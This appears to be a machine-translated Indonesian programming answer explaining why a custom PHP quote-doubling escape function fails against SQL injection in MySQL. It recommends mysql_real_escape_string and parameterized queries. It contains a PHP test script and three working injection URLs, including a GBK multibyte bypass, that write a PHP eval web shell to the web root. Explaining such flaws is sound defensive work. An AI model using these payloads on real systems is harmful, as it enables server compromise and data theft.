Jika Anda hanya mengganti '
dengan ''
maka Anda dapat memanfaatkan ini dengan menyuntikkan \'
yang akan berubah menjadi \''
dan ini akan memungkinkan Anda untuk keluar karena ini memberi Anda tanda kutip tunggal "karakter literal" dan tanda kutip tunggal yang sebenarnya. Namun, penggantian "\\"
dengan "\\\\"
meniadakan serangan ini. Tanda kutip ganda digunakan untuk "melarikan diri" dari tanda kutip tunggal untuk MS-SQL, tetapi ini tidak sesuai untuk MySQL, tetapi dapat berfungsi.
Kode berikut membuktikan bahwa fungsi pelarian ini aman untuk semua kecuali tiga kondisi . Kode ini mengubah semua kemungkinan variasi piagam kontrol, dan menguji masing-masing untuk memastikan kesalahan tidak terjadi dengan pernyataan pilih terbungkus kutipan tunggal. Kode ini telah diuji pada MySQL 5.1.41.
<?php
mysql_connect("localhost",'root','');
function escape($value) {
$value = str_replace("'","''",$value);
$value = str_replace("\\","\\\\",$value);
return $value;
}
$chars=array("'","\\","\0","a");
for($w=0;$w<4;$w++){
for($x=0;$x<4;$x++){
for($y=0;$y<4;$y++){
for($z=0;$z<4;$z++){
mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error());
}
}
}
}
print "Escape function is safe :(";
?>
Kondisi Rentan 1:tidak ada tanda kutip yang digunakan.
mysql_query("select username from users where id=".escape($_GET['id']));
Eksploitasi:
http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"
Kondisi Rentan 2:tanda kutip ganda digunakan
mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");
Eksploitasi:
http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
Kondisi Rentan 2:tanda kutip tunggal digunakan, namun set karakter alternatif digunakan. .
mysql_set_charset("GBK")
mysql_query("select username from users where id='".escape($_GET['id'])."'");
Eksploitasi:
http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
Kesimpulannya adalah selalu gunakan mysql_real_escape_string()
sebagai rutinitas pelarian untuk MySQL. Pustaka kueri berparameter seperti pdo dan adodb selalu menggunakan mysql_real_escape_string()
ketika terhubung ke database mysql. addslashes()
JAUH LEBIH BAIK dari rutinitas pelarian karena menangani kondisi rentan 2. Perlu dicatat bahwa bahkan tidak mysql_real_escape_string()
akan menghentikan kondisi 1, namun pustaka kueri berparameter akan menghentikannya.